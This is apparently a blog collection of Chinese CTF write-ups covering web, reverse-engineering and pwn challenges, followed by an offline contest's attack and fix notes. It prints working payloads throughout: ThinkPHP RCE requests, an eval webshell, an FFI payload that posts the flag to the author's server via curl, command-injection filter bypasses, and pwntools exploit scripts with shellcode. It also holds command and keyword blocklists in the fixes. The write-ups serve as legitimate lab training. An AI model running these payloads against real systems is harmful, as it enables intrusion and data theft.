[HCTF 2018]WarmUp

Ctrl+U查看源码,找到source.php,发现hint.php,点进去后告诉你flag位置。
source.php:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

审计代码,只要把问号转义成%3F即可
payload

source.php%3F/../../../../ffffllllaaaagggg

[极客大挑战 2019]PHP

DirSearch 429 Too Many Requests,所以参考了别人的wp,根目录下有/www.zip
审计index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

发现有反序列化玩。
代码审计

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            // echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}

注意到,我们要绕过__wakeup
2024-07-10T07:17:33.png

1._wakeup()函数的定义:
__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

2._wakeup()函数的作用:
__wakeup()方法的目的是在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑。这个方法可以用来初始化一些无法在序列化字符串中保存的成员变量、建立数据库连接、重新计算缓存数据等。

4._wakeup()函数的绕过:
(1)当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"wenda";s:8:"password";s:4:"wenda";}

(2)使用C绕过

使用C代替O能绕过_wakeup(),但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容

注意:使用C绕过有版本要求
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                      
原文链接:https://blog.csdn.net/m0_63138919/article/details/132545718

补充一个知识点

注意:

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
同理 如果定义了 __serialize() 和 __sleep() 两个魔术方法,则只有 __serialize() 方法会生效。

显然payload是

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[ThinkPHP]2-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
我们使用payload
http://node5.buuoj.cn:27766/index.php?s=/a/a/a/${@eval($_POST[1])}
然后蚁剑
2024-06-26T12:08:35.png
最后通过webshell,拿下env中的flag
2024-06-26T12:08:57.png

  • 注意,如果直接在payload里面写字符串,好像是过不了的。

[ThinkPHP]5-Rce

https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
则payload:

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env

[ThinkPHP]5.0.23-Rce

https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=env

2024-06-26T12:18:51.png

[ThinkPHP]IN SQL INJECTION

https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection
直接使用给的payload就可以了
http://node5.buuoj.cn:28336/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

看一下当前目录
?a=var_dump(scandir(%22.%22));

array(2) { [0]=> string(9) "index.php" [1]=> string(11) "preload.php" }

highlight一下
index.php?a=highlight_file(%22preload.php%22);
代码审计

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

然后就没有什么头绪了,看了下别人的wp:
FFI扩展

<?php
$ffi = FFI::cdef("int system(const char *command);");    
$ffi->system("echo Hello World>./ttmp");    
echo file_get_contents("./ttmp");
//输出结果为Hello World
?>

触发条件

触发条件
如果在php配置文件中开启了ffi.enable=preload,那么FFI中opcache.preload参数指定脚本能够调用FFI,而用户写的函数是没有办法直接调用的。翻看phpinfo,也确实指定了preload.php能够调用FFI。

2024-06-26T12:57:43.png

?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:4555');
[root@xnnpzy ~]# nc -vv -l -p 4445
Listening on any address 4445 (upnotifyp)
Connection from 117.21.200.176:61031
POST / HTTP/1.1
Host: ***************:4445
User-Agent: curl/7.64.0
Accept: */*
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

flag{bd8fa2ea-cb43-4afd-85e0-87bf4adf628c}Total received bytes: 195
Total sent bytes: 0

补充:curl -d @FILE_NAME IP:ADDR 可以读取文件FILE_NAME
2024-06-26T13:13:44.png
2024-06-26T13:13:55.png

signal

IDA 载入分析,发现是VM
2024-06-23T01:21:07.png
抄成python出来,与z3打组合技解

from z3 import *
s = Solver()
x = [BitVec(f"x{i}", 8) for i in range(15)]
vmIns = open('signal.exe', 'rb').read()[0x1e40:0x1e40+456]
Str = [0] * 1000
end = 114
v9 = 0
v4 = 0
v8 = 0
v7 = 0
v6 = 0
v5 = 0
while v9 < end:
    ins = vmIns[v9 * 4]
    if ins == 1:
        Str[v6 + 100] = v4
        v9 += 1
        v6 += 1
        v8 += 1
    elif ins == 2:
        v4 = vmIns[(v9 + 1) * 4] + Str[v8]
        v9 += 2
    elif ins == 3:
        v4 = Str[v8] - (vmIns[(v9 + 1) * 4] & 0xff)
        v9 += 2
    elif ins == 4:
        v4 = vmIns[(v9 + 1) * 4] ^ Str[v8]
        v9 += 2
    elif ins == 5:
        v4 = vmIns[(v9 + 1) * 4] * Str[v8]
        v9 += 2
    elif ins == 6:
        v9+=1
    elif ins == 7:
        print(Str[v7 + 100])
        s.add(Str[v7 + 100] == vmIns[(v9 + 1) * 4])
        v7 += 1
        v9 += 2
    elif ins == 8:
        Str[v5] = v4
        v9 += 1
        v5 += 1
    elif ins == 10:
        print("Read")
        for i, v in enumerate(x):
            # s.add(v > 0x20, v < 0x7f)
            Str[i] = v
        v9 += 1
    elif ins == 11:
        v4 = Str[v8] - 1
        v9 += 1
    elif ins == 12:
        v4 = Str[v8] + 1
        v9 += 1
    else:
        print(f"unknown insn {ins}")

print(s.check())
m = s.model()
for i in x:
    print(chr(m[i].as_long()), end ='')
'''
Read
(16 ^ x0) - 5
3*(32 ^ x1)
x2 - 2 - 1
4 ^ x3 + 1
3*x4 - 33
x5 - 1 - 1
(9 ^ x6) - 32
36 ^ 81 + x7
x8 + 1 - 1
37 + 2*x9
65 ^ 54 + x10
1*(32 + x11)
37 + 3*x12
(9 ^ x13) - 32
65 + x14 + 1
sat
757515121f3d478
'''

flag为flag{757515121f3d478}

h01k_re

把exe载入IDA,发现这些函数与反调试有关
2024-06-22T10:37:22.png

完整的检测函数

NTSTATUS sub_401990()
{
  unsigned __int8 v0; // al
  int v1; // edx
  int v2; // ecx
  NTSTATUS result; // eax
  HANDLE ProcessId; // eax
  HANDLE CurrentProcess; // eax
  HANDLE v6; // eax
  int v7; // [esp-1Ch] [ebp-44h]
  int v8; // [esp-18h] [ebp-40h]
  ULONG ReturnLength; // [esp+Ch] [ebp-1Ch] BYREF
  int ProcessInformation; // [esp+14h] [ebp-14h] BYREF
  int v11; // [esp+18h] [ebp-10h]
  WINBOOL pbDebuggerPresent; // [esp+1Ch] [ebp-Ch] BYREF
  int v13; // [esp+20h] [ebp-8h]
  int v14; // [esp+24h] [ebp-4h]

  if ( (unsigned __int8)sub_401770()
    || (unsigned __int8)sub_401820()
    || (unsigned __int8)sub_401840()
    || (unsigned __int8)sub_401860()
    || (v0 = sub_401890(), (v2 = v0) != 0) )
  {
    v14 = sub_402120();
  }
  else
  {
    v14 = 0;
  }
  v8 = v2;
  v7 = v1;
  if ( NtCurrentPeb()->BeingDebugged )
    return dword_446030(v8, v7);
  if ( NtCurrentPeb()->NtGlobalFlag )
    return dword_446030(v8, v7);
  ProcessId = CsrGetProcessId();
  if ( OpenProcess(0x400u, 0, (DWORD)ProcessId) )
    return dword_446030(v8, v7);
  CurrentProcess = GetCurrentProcess();
  if ( CheckRemoteDebuggerPresent(CurrentProcess, &pbDebuggerPresent) )
    v13 = 0;
  else
    v13 = sub_402120();
  if ( pbDebuggerPresent == 1 )
    v11 = sub_402120();
  else
    v11 = 0;
  v6 = GetCurrentProcess();
  result = NtQueryInformationProcess(v6, ProcessDebugPort, &ProcessInformation, 4u, &ReturnLength);
  if ( ProcessInformation )
    return sub_402120();
  return result;
}

分别检测下面的
NtCurrentPeb()->BeingDebugged
NtCurrentPeb()->NtGlobalFlag
CheckRemoteDebuggerPresent
NtQueryInformationProcess

除了这个,还检测VMWaresub_401890()代码如下

char sub_401890()
{
  DWORD cbData; // [esp+0h] [ebp-4Ch] BYREF
  HKEY phkResult; // [esp+4h] [ebp-48h] BYREF
  BYTE Data[64]; // [esp+8h] [ebp-44h] BYREF

  cbData = 63;
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS\\", 0, 0x20019u, &phkResult) )
  {
    RegQueryValueExA(phkResult, "SystemManufacturer", 0, 0, Data, &cbData);
    if ( strstr((const char *)Data, "VMWARE") )
    {
      RegCloseKey(phkResult);
      return 1;
    }
    RegCloseKey(phkResult);
  }
  return 0;
}

除了上面的,还有最开始的四个函数
2024-06-22T10:44:49.png
第一个会使用特权指令in来制造异常,不过try{}catch{}并没有检测到什么。我们先不看

接下来我们分析第二个:sub_401930()
2024-06-22T10:51:02.png
2024-06-22T10:55:09.png
分别会记录rdtsc的高32位和低32位
因为__rdtsc()返回一个64位整数,分别高位:edx,低位:eax
了解一下rdtsc

rdtsc指令, 该指令返回CPU自启动以来的时钟周期数;该时钟周期数,即处理器的时间戳。
在CPU通电启动后,首先会重置EDX和EAX,在每个时钟周期上升或下降沿到来时,会自动累计周期数,并被记录到EDX和EAX寄存器中,EDX是高位,EAX是低位。

rdtsc指令就是从该寄存器中进行获取的。

周期和频率的关系公式:T(周期)=1/f(频率)

如CPU频率f为1GHz,则其时钟周期T=1/1GHz秒,意味着每隔T秒(1ns),CPU完成一个最基本的动作,并在寄存器中,对周期数加1。

所以我们可以知道rdtsc的递增是非常快的,按照我的电脑的运行时CPU频率2.35GHz,可以大概知道每秒这个数字会增加2.35*10^9。
不过不是很懂cpuid在rdtsc之前运行的意思❓

下面我们看sub_401950()函数
2024-06-22T11:06:32.png
显然是接着上一个函数进行的基于时间的检测,如果单步调试就爆了。
因为检测时间差是40000000,也就是4*10^7,也就是 1/100 秒内必须执行完,单步显然会不行。
对于这些函数,我们直接在函数头ret就好了,不过要注意,这些函数并不是所有都是检测函数。

继续分析,下面就是一堆简单的逻辑了
2024-06-22T11:11:48.png
注意到是把自己读入到刚刚allocate好的内存里面,然后解密关键内容,这里直接上动态调试就OK了,静态分析没必要,因为你不需要了解算法内容(可能是AES❓)。
我们可以把解密后的东西给dump出来,是一个dll,下面的v13 = v14();调用getflag函数。
2024-06-22T11:14:05.png
如果函数返回是1,则success,否则执行__asm { syscall; Low latency system call }这个显然会造成异常。

下面开始分析DLL
找到DLL关键函数,这个前面还有几个check❓,出题人这么和反调试、虚拟机调试过不去吗😰。
其实我们只要动态调试,屏蔽掉所有异常,然后运行到程序中的v13 = v14();这个位置就好了(记得使用反反调试插件)
2024-06-22T11:16:54.png
我们终于找到了scanf的真正位置,下面是初始化了一堆数据,然后进虚拟机。
2024-06-22T11:18:50.png
动态调试,加硬件断点于第一个输入的值,这个scanf有一点奇怪,你如果输入的太长了,好像第一个位置就变成0了😰,简单打断点分析了一下,好像被填0了,不过我们不管这个,我们把第一个0改成a继续下断点就行。
2024-06-22T11:20:08.png
跑起来,第一次断在strlen,第二次就断在vm了
2024-06-22T11:32:07.png
我们把stack下硬件断点,发现对输入先进行xor 0x33
2024-06-22T11:33:26.png
继续跑,发现再进行 add 0x2
2024-06-22T11:34:00.png
继续跑,发现存在了这里
2024-06-22T11:34:47.png
然后把这个store的地方进行软件断点,把之前的硬件断点去掉,这样可以看到加密的全过程,也可以清楚知道都是xor 0x33并且之后add 0x2,对了,一定要注意,把第一个store的地方下硬件断点,因为加密后必定就是cmp检测,或者是继续加密...。
2024-06-22T11:37:32.png
果不其然,它在处理完后面的字符串后,很快地,又把刚刚第一个字符串push到了vStack上。
2024-06-22T11:38:37.png
这时我们继续传统艺能:对栈下断点,发现对第一个字节进行xor 0x36,第二个字符xor 0x48...,我们直接可以断xorTable的生成点,注意到getXorTable的地方其实也是拿字符串的地方
2024-06-22T11:43:07.png
最后我们继续下断点,找到了cmp table,写出z3脚本

from z3 import *
s = Solver()
a = bytes.fromhex("36 48 0D 23 0C 25 09 17 53 06 10 1A 24 2E 38 42".replace(' ',''))
b = bytes.fromhex("51 5f 72 69 6a 32 89 79 2b 52 52 56 4a 4d 60 12".replace(' ',''))
x = [BitVec(f"x{i}", 8) for i in range(len(a))]
for i in range(len(a)):
    s.add(((x[i] ^ 0x33) + 0x2 ) ^ a[i] == b[i])

print(s.check())
m = s.model()

for i in range(len(a)):
    print(chr(m[x[i]].as_long()), end='')
# V&N{W&M_Easy_Re}

Summery

Web题太多,Pwn题太少,Fix的时候也是,5个web,1个pwn,pwn基本上改一个很小的地方就过了,基本上没有区分度。
由于早上是动态积分,下午fix是静态积分,我们在早上的时候由于Web先做的不是简单题,导致拿了第26血,没有加成,所以比第一名低40分。pwn也是,由于远程环境的环境和本地的差的太多了,本地一直打通,而远程一直不能通,导致了我们没有拿下全场这一道0解题,而且主办方甚至让我们拉Dockerfile (Ubuntu的某个版本),但是线下赛没有网,真无敌了吧。
不过最后我们也是拿下了第二名(1等奖),同校队伍7也通过赛后申诉拿下了属于自己的分,从12名到11名,成功进入决赛范畴,同样拿下一等奖🎇
2024-06-22T08:33:58.png

Web

cmphp

修改前端:把注释掉的js语句执行在devtools

根据提交后提示HIJKLMN,随便输入一些

/submit.php


function generateStringFromTime($timeStr, $length = 16) {
    $hash = hash('sha256', $timeStr);
    $result = substr($hash, 0, $length);
    return $result;
}

   ...代码略...

   sleep(x);   x<60秒,需要自行猜测
   $full_time = date('Y-m-d-H-i-s');
   sleep(x);   x<8秒,需要自行猜测
   $time = date('Y-m-d-H-i');
   $generatedString = generateStringFromTime($full_time);
   $filename = '/tmp/' . $generatedString;
   $content = $_POST['HIJKLMN'];
   ...代码略...
   file_put_contents($filename, $content);
   $log_entry = "$time 时间提交了一条内容\n";
   file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

   echo render_template('submit_success.html', ['time' => $time]);
}

timeStr加sha256取前16个字符

写脚本爆破日志

import httpx
import hashlib
def sha(s: str):
    return hashlib.sha256(s.encode()).hexdigest()[:16]

for i in range(0, 61):
    s = str(i).ljust(2, '0')
    ahs = sha(f"2024-06-18-10-31-{s}") # 从include.php?file=time.txt拿,这应该是第三行,前两个都是hint2024
    # print(s, ahs)
    txt = httpx.get("http://10.1.0.122:84/include.php?file=" + ahs).text
    if txt.find("防御") != -1:
        continue
    print(txt)

mysite

信息收集到robots.txt中有include.php

文件包含读文件

http://10.1.0.122:8887/include.php?file=/flag

mygame

访问html源码发现注释给了源码,随后进行源码审计

代码使用了不安全的pickle.loads,通过__reduce__函数可以rce,且该函数可控

追踪全局变量messages

发现只在路由/submit修改了键serialized,因此试图在此进行注入

变量idiomlength均可控,通过修改messages['mes']控制cmd_line

把这个设置为Header

LOG=b3M6c3lzdGVt   (os:system)

执行系统命令并写入idiom.txt获取回显

message['mes']='cat /flag>/usr/tmp/idiom.txt'

我们发现,这个输入前4个必须是中文,后面随意,我们就填4个中文(注意,第一个是上一个成语的接龙)

把下面的这个文本附加到 ?中中中 这四个中文之后,?是上一个接龙,中文字符。
cat /flag > /var/tmp/idiom.txt

注意到那个截取长度的函数可以是负数,我们填-30可以拿到后面的命令,
然后我们正常访问就可以在原先成语的地方出现flag。

myping

使用''来规避对cat,flag的检查,使用5个/来制造一个/(先拿到ping.php源码进行审计,详情请见fix_myping)

;c''at /////f''lag

即可直接拿到flag

spel

给附件了,阅读源码:org.example.ssppeell.MyController.java

public class MyController {
    @RequestMapping({"/spel"})
    public String spel(String season) {
        Seasons s = new Seasons();
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(season);
        EvaluationContext context = new StandardEvaluationContext(s);
        return exp.getValue(context).toString();
    }
}

直接读文件
urlencode payload

new%20java.io.BufferedReader(new%20java.io.FileReader('/flag')).readLine()

mylogin

注意到,给的两个账号中间一些地方不一样,我们分别对其进行解密

ADLYWIJuh7Dap ZWVodTIyMg== 3eVssA21qmLL
ADLYWIJuh7Dap eHZodTExMQ== 3eVssA21qmLL

分别是eehu222 xvhu111
由于和我们给的账户有点不一样,且这个形式让我们联想到了凯撒加密,我们进入CyberChef,发现ROT13如果是-3的话就是正确的用户名

CyberChef_v10.18.8/index.html#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)ROT13(true,true,false,-3)&input=ZUhab2RURXhNUT09

我们把这个替换成admin,Rot13操作码+3,然后base64放回去:

ADLYWIJuh7DapZGdwbHE=3eVssA21qmLL

然后通过浏览器更改Cookie,然后进入后找到一个任意读文件的输入框,绕过js限制可以读取到flag。

Pwn

guess

题目大概是那个漏洞函数会一直起子进程,bad函数里有栈溢出,子进程不会影响父进程,爆破canary,ret2shellcode

#! /usr/bin/env python3.8
from pwn import *
from ctools import *
from SomeofHouse import *

context(os="linux", arch="amd64")
TMUX_TERMINAL()
# context.log_level = "debug"

elf_path = './guess'
libc_path = ''

init_elf_with_libc(elf_path, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)

conn_context(host='10.1.0.122', port=10002, level=REMOTE, elf=elf_path)
# conn_context(args=[PRE_LOAD], interpreter='./ld-linux-x86-64.so.2')

elf = ELF(elf_path)
# libc = ELF(libc_path, checksec=False)
io = conn()

def func():
    canary = b'\x00'
    for i in range(1, 8):
        for j in range(0, 0x100):
            canary += p8(j)
            pad = b'a' * 0x18 + canary
            io.sendafter(b':\n', pad)
            if b'stack smashing' in io.recvuntil(b'thinking?'):
                canary = canary[:-1]
                continue
            break

    print(hex(u64(canary)))
    return canary

def exp():
    # io.sendafter(b':\n', b'a' * 0x18 + b'\x00\x00')

    shellcode = f"""
        mov rax, 0x67616c662f
        push rax
    
        mov rax, __NR_open
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        syscall
    
        mov rax, __NR_read
        mov rdi, 3
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    
        mov rax, __NR_write
        mov rdi, 1
        mov rsi, rsp
        mov rdx, 0x50
        syscall
    """

    io.sendline(b'a' * 0x20 + asm(shellcode))

    canary = func()
    pad = b'a' * 0x18 + canary + b'a' * 0x8 + p64(0x40404020)
    # DEBUG()
    io.sendafter(b':\n', pad)
    io.sendafter(b':\n', pad)
    
    pass




try:
    exp()
    io.interactive()
finally:
    rm_core()

ezstack

简单的无 leak , 直接 csu + magic_gadget 一套秒.
大概的思路是使用已知的 libc 函数偏移, 使用错位构造的 magic_gadget 直接在内存中使用 csu 函数的一些部分在 bss 段上的 stdout 进行运算, 由于输入直接是 gets , 先构造一步 read , 再构造个 bss 段上的 orw 即可.

from pwn import *
#from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
#io=process("./pwn")
io=remote("10.1.0.122",10001)
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

add_ebx_gadget = 0x400847
csu_rbx_rbp_r12_r13_r14_r15=0x4009fa
csu_start = 0x4009e0
mainaddr = 0x4011b2
stdout = elf.bss()
bss = stdout + 0xc00
ret = 0x4006d6
#read_got=elf.got["read"]
leave_ret = 0x4008ff

padding = b'a' * 0x10

def add(off, addr=bss):
    return flat([
        csu_rbx_rbp_r12_r13_r14_r15,
        off, addr + 0x3d, 0, 0, 0, 0,
        add_ebx_gadget,
    ])

offset_open = libc.sym.open - libc.sym._IO_2_1_stdout_
offset_read = libc.sym.read - libc.sym.open
offset_write = libc.sym.write - libc.sym.read
readoffset = libc.sym.read - libc.sym._IO_2_1_stdout_

payload1=padding+flat([
    ret,
    add(readoffset,stdout),
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 0, bss, 0x600,
    csu_start, 0, 0, bss, 0, 0, 0, 0,
    leave_ret
])
#debug()
io.sendline(payload1)

payload2=b"./flag\x00\x00"
payload2+=flat([
    csu_rbx_rbp_r12_r13_r14_r15,
    libc.sym.open-libc.sym.read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, bss, 0, 0,
    csu_start, 0, 
    offset_read, stdout+0x3d, 0, 0, 0, 0,
    add_ebx_gadget, 
    csu_rbx_rbp_r12_r13_r14_r15,    
    0, 1, stdout, 3, bss-0x200, 0x40,
    csu_start, 0,
    offset_write, stdout+0x3d, stdout, 1, bss-0x200, 0x40,
    add_ebx_gadget,
    csu_rbx_rbp_r12_r13_r14_r15,
    0, 1, stdout, 1, bss-0x200, 0x40,
    csu_start, 0,
])
#debug()
io.sendline(payload2)

io.interactive()

Fix

fix_mylogin

改进凯撒加密算法,添加一个随机密钥

sercret = 'pasaspdjapfjapsoidfjasdoifhweuqoudsfjjasodsfgoidisguoidsijgosdjinoidsfngit'

# 凯撒加密
def caesar_cipher(text, shift):
    crypt = True
    if shift<0:
        crypt=False
    result = ""
    iter = 0
    for char in text:
        if char.isalpha():
            shift_amount = 65 if char.isupper() else 97
            result += chr((ord(char) - shift_amount + shift + ord(sercret[iter])) % 26 + shift_amount) if crypt else chr((ord(char) - shift_amount + shift - ord(sercret[iter])) % 26 + shift_amount)
        else:
            result += char
    return result

fix_mygame

改进process_idiom,只允许length为正数

def process_idiom(idiom, length):
    if length < 0:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"
    chinese_idiom = extract_chinese(idiom, 4)
    if chinese_idiom and len(chinese_idiom) >= 4:
        messages["mes"] = custom_slice(idiom, length)
    else:
        return "成语至少四个字而且必须输入中文,不要调皮 (((;꒪ꈊ꒪;)))"

fix_myping

由于这个4的原因,导致我们可以造斜杠,我们把4去掉就修好了,这样永远不可能制造斜杠,就不能访问根目录了。

preg_replace('/\//', ' ', $ip_address, 4);
<!-- ping.php -->
<!DOCTYPE html>
.....部分省略
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $ip_address = $_POST['ip'];
        $ip_address = preprocess_ip($ip_address);
        $command = "ping -c 4 " . $ip_address;
        echo "<div id=\"output\"> <p>当前执行的命令是: $command</p>";
        $output = shell_exec($command);
        echo "<pre>$output</pre></div>";
    }

    function preprocess_ip($ip_address) {
        // Replace flag to ''
        $ip_address = str_replace('flag', '', $ip_address);
        // Remove all spaces
        $ip_address = str_replace(' ', '', $ip_address);
        // Replace '/' with a space once
        $ip_address = preg_replace('/\//', ' ', $ip_address);
        // Filter common Linux commands
        $filtered_commands = ['nl', 'ruby', 'perl', 'python', 'vim', 'vi', 'cut', 'xxd', 'od', 'grep', 'iconv', 'comm', 'shuf', 'tac', 'strings', 'cat', 'head', 'tail', 'more', 'less', 'grep', 'awk', 'sed', 'IFS', '<', '>', '{', '}'];
        foreach ($filtered_commands as $cmd) {
            if (strpos($ip_address, $cmd) !== false) {
                $ip_address = '|echo "Limit KeyWord"';
                break;
            }
        }
        return $ip_address;
    }
    ?>
    </div>
</body>
</html>

fix_mysite

不允许包含以/开头的路径,杜绝越界访问

 <?php
 
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    $file = str_replace("/flag", "???", $file);
    $file = str_replace("/tmp", "???", $file);
    if(substr($file, 0, 1) === "/") 
{
die();
}
    include($file);
}else{
    highlight_file(__FILE__);
}

fix_guess

题目本身漏洞是栈溢出, 在 bad 函数中的 read 可读 0x40字节, 改变可读字节数至 0x18 即可.

fix_cmphp

加固黑名单: 添加php到正则匹配列表

'/php/i',
'/flag/i'

限制时间回显长度: 根据时间格式,长度为固定16,因此限制,并且,检测返回内容是否含有flag

preg_match('/ciscn/i', $time)
<?php

include "modules/functions.php";


if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    sleep(2);
    $full_time = date('Y-m-d-H-i-s');
    sleep(1);
    $time = date('Y-m-d-H-i');
    $generatedString = generateStringFromTime($full_time);


//    $filename = '/tmp/' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8);
    $filename = '/tmp/' . $generatedString;

    $content = $_POST['HIJKLMN'];

    if (empty($content)) {
        die(render_template('error.html', ['message' => '检测到HIJKLMN为异常空变量,已被防火墙拦截!']));
    }

//    if (preg_match('shell|exec|system|passthru|popen|proc_open|eval|assert|base64_decode/', $content)) {
//        die(render_template('error.html', ['message' => 'Potential WebShell detected!']));
//    }

    $forbidden_patterns = [
        '/shell/i',
        '/exec/i',
        '/system/i',
        '/passthru/i',
        '/popen/i',
        '/proc_open/i',
        '/eval/i',
        '/file_put_contents/i',
        '/`/i',
        '/assert/i',
        '/base64_decode/i',
        '/curl_exec/i',
        '/curl_multi_exec/i',
        '/parse_ini_file/i',
        '/show_source/i',
        '/array/i',
        '/func/i',
        '/uasort/i',
        '/p?f?open/i',
        '/preg_replace/i',
        '/create_function/i',
        '/include|require/i',
        '/php/i',
        '/flag/i'
    ];

    foreach ($forbidden_patterns as $pattern) {
        if (preg_match($pattern, $content)) {
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
        }
    }


    file_put_contents($filename, $content);

    $log_entry = "$time 时间提交了一条内容<br> \n";
    file_put_contents('/tmp/time.txt', $log_entry, FILE_APPEND);

    if(strlen($time) != 16 || preg_match('/ciscn/i', $time))
{
            die(render_template('error.html', ['message' => '检测到敏感词,已被防火墙拦截!']));
}
    echo render_template('submit_success.html', ['time' => $time]);
}

function render_template($template, $vars = []) {
    extract($vars);
    ob_start();
    include $template;
    return ob_get_clean();
}
?>